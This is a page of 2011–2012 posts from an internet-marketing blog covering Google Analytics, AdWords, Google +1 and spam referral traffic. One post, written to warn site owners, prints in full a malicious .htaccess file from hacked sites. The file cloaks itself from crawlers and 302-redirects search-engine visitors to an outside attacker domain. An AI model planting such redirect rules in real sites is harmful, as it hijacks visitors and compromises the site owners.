The Internet Marketer» Pete

Understanding Analytics reports

Pete — Wed, 04 Jan 2012 00:16:42 +0000

If you run a business that relies on your website then its absolutely critical that you know what’s going on in your website.

Just knowing how many visitors you have is not enough. Website metrics can tell you if your visitors are engaged, how are your visitors finding your site and where do they come from. Analytics provides deep information on what your visitors are doing and how engaged they are, and the new Google Analytics has even more sophisticated analysis tools built-in.

The problem many business people encounter is that there’s too much technical/web information and its difficult to correlate this data with business goals and sales objectives, so way back in 2009 I wrote Interpreting Analytics

Please feel free to download this, but if it doesn’t answer your questions, please let me know what other information you think it should include…

Checkout the new Google Analytics Click New Version next to your Google ID (top left...

Related posts brought to you by Yet Another Related Posts Plugin.

Online Shopping stats reveal interesting changes

Pete — Thu, 08 Dec 2011 03:20:44 +0000

There’s some interesting stats about online shopping

Mobile Retail
Google’s Mobile Ads senior marketing Manager Johanna Werther provides stats to project 44% of total searches for last minute gifts and store locator terms will be from mobile devices this holiday season based on historical growth rates.

Better Consumers?
Google research has revealed in the US customers check on average 10.7 sources when making a buying decision - double the rate of 2010

Does that mean it s getting harder to sell online ?
Google are promoting this as Zero Moment of Truth (ZMOT)

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

A legal precedent restricting keyword advertising?

Pete — Thu, 13 Oct 2011 23:54:35 +0000

Landmark legal decision about using Google Adwords ?

The Federal Court has handed down a decision presumably setting a legal precedent that may impact “competitor campaign” strategies.

A competitor campaign uses your competitor’s name or product as a ‘keyword’ to trigger the display of your Google ads in your campaign that present your busines sor products

eg If your compeditor is XYZ then your online advertising displays your business or products should there be a search for XYZ

The Court held that “ had engaged in misleading and deceptive conduct through the use of the Google Adwords to create a sponsored link…” …because the use of keywords in this manner (ie the ads) implied there was an association between the businesses.

This was therefore considered to be a breach of the Trade Practices Act

Caused by Keyword Insertion ?

Where this becomes interesting/challenging is if your Adwords campaign uses keyword insertion to insert the searchers terms into your ads.

In these cases as the advertiser you have no control over whether a competitors name or brand is part of the original search (which is then automatically inserted into the ads) -

From my interpretation of reports in various legal blogs it may be that keyword insertion was in fact used in the Adwords campaign and that the advertiser is probably innocent from blatant misleading and deceptive conduct and simply naive about Adwords keyword insertion facility.

I wonder if this was raised in court (or even understood by the parties involved) and if this was the case would there have been an impact on the outcome…?

Google +1 | A new SEO & SEM ranking signal You may have noticed Google’s new +1 indicator next to...
Keyword research | Getting access to Local Search Trends One of the best tools to find your target keywords...

Related posts brought to you by Yet Another Related Posts Plugin.

Social media churn rate is faster than is necessary for effective exposure

Pete — Fri, 07 Oct 2011 07:39:14 +0000

This interesting post by Bit.ly asserts that the “half-life” of social media link is short; so short in fact that it’s effectiveness comes into question.

Sarah Kessler helpfully translates this as:

A link to breaking news typically has a short half life; it is no longer relevant after a short amount of time. Something less timely, like a funny video, wouldn’t see the same steep drop off — so those cute kittens tend to have a longer half-life.

Mason found that the type of content, however, isn’t the only predictor of how a link gets shared. It also matters where it is shared. The half-life of links posted on Facebook is on average 24 minutes longer than links to the same content posted on Twitter. And links in emails and instant messages remain active slightly longer than links on Facebook.

Bitly’s chart above indicates the Mean Half Life of a…

Link on Twitter: 2.8 hours
Link on Facebook: 3.2 hours
Link via Direct Sources (email, IM, etc): 3.4 hours
Link on YouTube: 7.4 hours

Simply put: Social media churn rate is faster than is necessary for effective exposure

Many thanks to Paul B for flagging this interesting info

Linking to Success SEO Whitepapers We have written a series of self-help articles...

Related posts brought to you by Yet Another Related Posts Plugin.

Smartphone boom may shift retail boundaries in Australia

Pete — Mon, 12 Sep 2011 07:22:41 +0000

The increasingly pervasive SmartPhone is creating the critical mass for new retail applications which may change the way we shop, and so by association will impact online advertising strategies.

This article by Matt Paish goes on to say: The popularity of smartphone shopping is changing retail horizons. New smartphone applications have been launched in Australia in the past month by major Australian food retailers. Multinational food giant Tesco has launched the world’s first ‘virtual shop’ in Korea during the same period.

Australian Food News reports have included new smartphone apps launched by Australia’s two largest supermarket chains, Coles and Woolworths, as well as a new smartphone app from Australia’s largest pizza chain Domino’s.

Should you be promoting your products/services to a mobile client base ?

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

Seen the new Site Links in Google?

Pete — Thu, 18 Aug 2011 06:16:11 +0000

I notice that Google have changed the layout of the SiteLinks

These are extended SERPs that Google may choose to display for certain searches closely related to your site. Mine now looks like this:

They now look more like a series of mini-SERPs rather than the traditional one line SERPs in SiteLinks Google have used until recently.

Read more inGoogle WebMasters Tools Help:
https://www.google.com/support/webmasters/bin/answer.py?answer=47334&hl=en

Google restructures to include AdWords Asia Pacific Aussie AdWords has historically been managed by Google Ireland, but...
Google +1 | A new SEO & SEM ranking signal You may have noticed Google’s new +1 indicator next to...

Related posts brought to you by Yet Another Related Posts Plugin.

VOIP Numbers dont work in Adwords ad extensions

Pete — Fri, 01 Jul 2011 07:50:26 +0000

Got a VOIP phone number?
Forget about using it in your AdWords telephone ad extensions or in Google Places, because as I discovered today neither of these Google services will allow you to register the services using a VOIP telephone number.

I thought I had a configuration or input error but the Google AdWords Helpdesk confirmed that VOIP numbers are not to be used in AdWords

As I had the same issue with Google Places, I can only assume that is also the case

This is a significant online marketing disadvantage for these folks

I’d be interested hear if folks in other countries are having the same issue

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

Google +1 | A new SEO & SEM ranking signal

Pete — Fri, 01 Jul 2011 01:25:41 +0000

You may have noticed Google’s new +1 indicator next to search results ? Its Google’s incarnation of the FaceBook “Like” that’s popped up everywhere in recent times

Google +1 can be seen by logging in with your Google ID and as you search they appear in organic and paid search (Adwords) results

Significantly, +1 Metrics reporting has now appeared in Google’s WebMasters Tools
For folks outside of the SEO industry, Google’s WebMasters Tools (WMT) is the definitive Google control panel for websites, allowing a registered user to view website stats, issues and errors and even suggestions for improving its Google search performance.

Google +1 is a new ranking factor
There have been regular updates to WMT over the years, and these often provide insight into how Google is tuning its ranking factors; but the +1 metrics addition to WMT has nothing subtle about it with a +1 Search Impact page that will let you see exactly how +1′s affect your site’s performance in search results

The WMT Help + FAQ goes on to address topics like:

How does +1 affect search results?
Does +1 affect my site’s performance in search?
How will the +1 button affect my traffic?
Will +1’s from my site show up in search results?
How does the +1 button affect my ads?

Google +1 and your AdWords campaign
Not convinced about the impact of +! yet ? Did I mention that +1 also appears on Adwords ads ?

It would seem that your campaign or even individual ads will be impacted, most likely through the Adwords Quality Score
This is turn means it will effectively cost you more per click if your ads are not getting a few +1′s especially in really competitive campaigns

In summary, Google has used its considerable influence to “encourage” the use of its own social voting system.
If you want online exposure through organic or paid search it looks like you’ll now have to play the +1 game…

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

Watch out for htaccess hacks

Pete — Thu, 23 Jun 2011 10:30:35 +0000

Ive just stumbled across a couple of sites that have had their htaccess files hacked

(dot)htaccess is a special system file that can provide a number functions in the site such as redirection etc
For more on htaccess files and functions refer to http://en.wikipedia.org/wiki/Htaccess

A sample hacked htaccess file is listed below (although Ive also seen some variations)

Im no htaccess script guru but it looks like it:

Checks to see if the visitor to your site came via any one of the search engines listed and/or using any of the browsers listed
If so it writes a cookie called xccgtswgokoeon the visitors pc then
runs a script on http://apartliberal.com parsing the web address, time etc
302 redirects

Id appreciate any refinements from script experts out there

Sample hacked htaccess

# exgocgkctswo

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^GET$

RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$ [NC]

RewriteCond %{HTTP_REFERER} !^.*(q\=cache\:).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Mac\_PPC|Mac\s10|like\sMac\sOS|macDN|Mediapartners|Megite|MetaProducts).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$ [NC]

RewriteCond %{HTTP_USER_AGENT} !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$ [NC]

RewriteCond %{HTTP_COOKIE} !^.*xccgtswgokoe.*$

RewriteCond %{HTTPS} ^off$

RewriteRule ^(.*)$ http://apartliberal.com/cgi-bin/r.cgi?p=15003&i=f2b72ab1&j=330&m=d8731419d5d52ced228aa7a1589b13c1&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME} [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]

# exgocgkctswo

Ive tried to find info about this hack and it seems like its been around for a while with reports going back to 2010

The response to the enquires Ive found is surprisingly matter of fact along the lines of ”…yeah well you got hacked so delete it and change passwords and move on…”

The files are randomly added to subfolders across the site, and even outside of the public_html folders too

Removing the hacked htacess files

Ive found CuteFTP Pro to be the most effective tool to clean them out because it will search for a filename recurvely (ie automatically) through folders.

The offending files are unusually large for htaccess; and with the same date stamp are easy to spot. Existing htaccess files which have had the hacked inserted are slightly larger and again easy to spot.

What do they do ?

I’d be very interested to know how a hacker can edit a htaccess and also what the purpose of this hack is…

My conspiracy theroy is that they are some how linked with the mystery referal visits…

Spam or a Scam with accessa.me visits ? Spam or a Scam with accessa.me visits ? I’ve noticed...

Related posts brought to you by Yet Another Related Posts Plugin.

Spam or a Scam with accessa.me visits ?

Pete — Thu, 09 Jun 2011 05:00:30 +0000

Spam or a Scam with accessa.me visits ?

I’ve noticed recently trickles of visits across many clients sites referred from accessa.me

An astute client contacted me to share their concern/interest in these visits which jolted me into action, so he’s what Ive found…

Acessa.me seems innocent enough and is looks like a short URL provider (eg like tinyurl.com and many other)
Here’s what the site looks like when Google translates it from Portuguese

There is a host of items in the Google Analytics forum, with the most disconcerting suggesting that somehow the accessa.me visits have managed to remove other Analytics referral traffic from their reports… I cant see how this could be possible but have an open mind

There is a history of Analytics “spam attacks” starting with golbnet.com and others

Also, other mysterious referrals Ive noticed include (BTW I recommend you don’t visit these sites!):

www.tinyurl.com/UnlimitedHostingService
www.is.gd/UnlimitedWebHosting
www.tinyurl.com/ForexTradingSystems

I havent decided if they are spam or a “scam” but there is definitely something fishy about these visits
My personal conspiracy theory is that the hacked htaccess files has something to do with these visits…

If I find anything more Ill report it here & if you know something more please let us know!

Cheers
Pete

Google Panda Update | Targeting Web Spam Google Panda Update | Targeting Web Spam Google latest updated...

Related posts brought to you by Yet Another Related Posts Plugin.